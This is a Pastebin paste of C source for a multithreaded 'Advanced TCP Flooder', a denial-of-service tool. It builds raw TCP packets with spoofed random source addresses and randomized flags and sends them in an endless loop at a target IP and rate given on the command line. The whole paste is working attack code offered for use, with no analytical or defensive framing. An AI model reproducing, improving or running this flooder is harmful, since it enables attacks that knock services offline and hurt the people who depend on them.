Advertisement
PSN_CR33P

ATCP.c /|\ Creds to xATF

Oct 25th, 2019
377
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 6.53 KB | None | 0 0
  1.                     ▬▬▬▬▬▬▬▬ஜ۩۞۩ஜ▬▬▬▬▬▬▬▬▬                                                                                                                                                      
  2. ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
  3.         ▂▃▄▅▆▇█▓▒░A∂ναηcє∂ ƬƇƤ Ƒℓσσ∂єя ▬【0】【2】【0】【5】 ░▒▓█▇▆▅▄▃▂                                                                                                                                                              
  4. ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
  5.                      ▬▬▬▬▬▬▬▬ஜ۩۞۩ஜ▬▬▬▬▬▬▬▬▬
  6. /*
  7.  * This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products;  xAGENT-1010 -:)
  8.  */
  9. #include <unistd.h>
  10. #include <time.h>
  11. #include <sys/types.h>
  12. #include <sys/socket.h>
  13. #include <sys/ioctl.h>
  14. #include <string.h>
  15. #include <stdlib.h>
  16. #include <stdio.h>
  17. #include <pthread.h>
  18. #include <netinet/tcp.h>
  19. #include <netinet/ip.h>
  20. #include <netinet/in.h>
  21. #include <netinet/if_ether.h>
  22. #include <netdb.h>
  23. #include <net/if.h>
  24. #include <arpa/inet.h>
  25. #define MAX_PACKET_SIZE 4096
  26. #define PHI 0x9e3779b9
  27. static unsigned long int Q[4096], c = 362436;
  28. volatile int limiter;
  29. volatile unsigned int pps;
  30. volatile unsigned int sleeptime = 100;
  31.  
  32. void init_rand(unsigned long int x)
  33. {
  34.     int i;
  35.     Q[0] = x;
  36.     Q[1] = x + PHI;
  37.     Q[2] = x + PHI + PHI;
  38.     for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
  39. }
  40. unsigned long int rand_cmwc(void)
  41. {
  42.     unsigned long long int t, a = 18782LL;
  43.     static unsigned long int i = 4095;
  44.     unsigned long int x, r = 0xfffffffe;
  45.     i = (i + 1) & 4095;
  46.     t = a * Q[i] + c;
  47.     c = (t >> 32);
  48.     x = t + c;
  49.     if (x < c) {
  50.     x++;
  51.     c++;
  52.     }
  53.     return (Q[i] = r - x);
  54. }
  55. unsigned short csum (unsigned short *buf, int count)
  56. {
  57.     register unsigned long sum = 0;
  58.     while( count > 1 ) { sum += *buf++; count -= 2; }
  59.     if(count > 0) { sum += *(unsigned char *)buf; }
  60.     while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  61.     return (unsigned short)(~sum);
  62. }
  63.  
  64. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
  65.  
  66.     struct tcp_pseudo
  67.     {
  68.     unsigned long src_addr;
  69.     unsigned long dst_addr;
  70.     unsigned char zero;
  71.     unsigned char proto;
  72.     unsigned short length;
  73.     } pseudohead;
  74.     unsigned short total_len = iph->tot_len;
  75.     pseudohead.src_addr=iph->saddr;
  76.     pseudohead.dst_addr=iph->daddr;
  77.     pseudohead.zero=0;
  78.     pseudohead.proto=IPPROTO_TCP;
  79.     pseudohead.length=htons(sizeof(struct tcphdr));
  80.     int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  81.     unsigned short *tcp = malloc(totaltcp_len);
  82.     memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  83.     memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  84.     unsigned short output = csum(tcp,totaltcp_len);
  85.     free(tcp);
  86.     return output;
  87. }
  88. void setup_ip_header(struct iphdr *iph)
  89. {
  90.     iph->ihl = 5;
  91.     iph->version = 4;
  92.     iph->tos = 0;
  93.     iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
  94.     iph->id = htonl(54321);
  95.     iph->frag_off = 0;
  96.     iph->ttl = MAXTTL;
  97.     iph->protocol = 6;
  98.     iph->check = 0;
  99.     iph->saddr = inet_addr("192.168.3.100");
  100. }
  101. void setup_tcp_header(struct tcphdr *tcph)
  102. {
  103.     tcph->source = htons(5678);
  104.     tcph->seq = rand();
  105.     tcph->ack_seq = rand();
  106.     tcph->res2 = rand();
  107.     tcph->doff = 5;
  108.     tcph->syn = rand();
  109.     tcph->fin = rand();
  110.     tcph->psh = rand();
  111.     tcph->ack = rand();
  112.     tcph->urg = rand();
  113.     tcph->rst = rand();
  114.     tcph->window = rand();
  115.     tcph->check = rand();
  116.     tcph->urg_ptr = rand();
  117. }
  118.  
  119. void *flood(void *par1)
  120. {
  121.     char *td = (char *)par1;
  122.     char datagram[MAX_PACKET_SIZE];
  123.     struct iphdr *iph = (struct iphdr *)datagram;
  124.     struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  125.     struct sockaddr_in sin;
  126.     sin.sin_family = AF_INET;
  127.     sin.sin_port = rand();
  128.     sin.sin_addr.s_addr = inet_addr(td);
  129.     int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  130.     if(s < 0){
  131.     fprintf(stderr, "Could not open raw socket.\n");
  132.     exit(-1);
  133.     }
  134.     memset(datagram, 0, MAX_PACKET_SIZE);
  135.     setup_ip_header(iph);
  136.     setup_tcp_header(tcph);
  137.     tcph->dest = rand();
  138.     iph->daddr = sin.sin_addr.s_addr;
  139.     iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  140.     int tmp = 1;
  141.     const int *val = &tmp;
  142.     if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  143.     fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  144.     exit(-1);
  145.     }
  146.  
  147.     init_rand(time(NULL));
  148.     register unsigned int i;
  149.     i = 0;
  150.     while(1){
  151.     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  152.     iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
  153.     iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  154.     iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  155.     tcph->seq = rand_cmwc() & 0xFFFF;
  156.     tcph->source = htons(rand_cmwc() & 0xFFFF);
  157.     tcph->check = 0;
  158.     tcph->check = tcpcsum(iph, tcph);      
  159.     pps++;
  160.     if(i >= limiter)
  161.     {
  162.     i = 0;
  163.     usleep(sleeptime);
  164.     }
  165.     i++;
  166.     }
  167. }
  168. int main(int argc, char *argv[ ])
  169. {
  170.     if(argc < 5){
  171.     fprintf(stderr, "Invalid parameters!\n");
  172.     fprintf(stdout, "Usage: %s [IP] [threads] [limiter] [time]\n", argv[0]);
  173.     exit(-1);
  174.     }
  175.     fprintf(stdout, "Opening threads...\n");
  176.     int num_threads = atoi(argv[2]);
  177.     int maxpps = atoi(argv[3]);
  178.     limiter = 0;
  179.     pps = 0;
  180.     pthread_t thread[num_threads];
  181.     int multiplier = 100;
  182.     int i;
  183.     for(i = 0;i<num_threads;i++){
  184.     pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
  185.     }
  186.     fprintf(stdout, "Sending packets..\n");
  187.     for(i = 0;i<(atoi(argv[4])*multiplier);i++)
  188.     {
  189.     usleep((1000/multiplier)*1000);
  190.     if((pps*multiplier) > maxpps)
  191.     {
  192.     if(1 > limiter)
  193.     {
  194.     sleeptime+=100;
  195.     } else {
  196.     limiter--;
  197.     }
  198.     } else {
  199.     limiter++;
  200.     if(sleeptime > 25)
  201.     {
  202.     sleeptime-=25;
  203.     } else {
  204.     sleeptime = 0;
  205.     }
  206.     }
  207.     pps = 0;
  208.     }
  209.     return 0;
  210. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement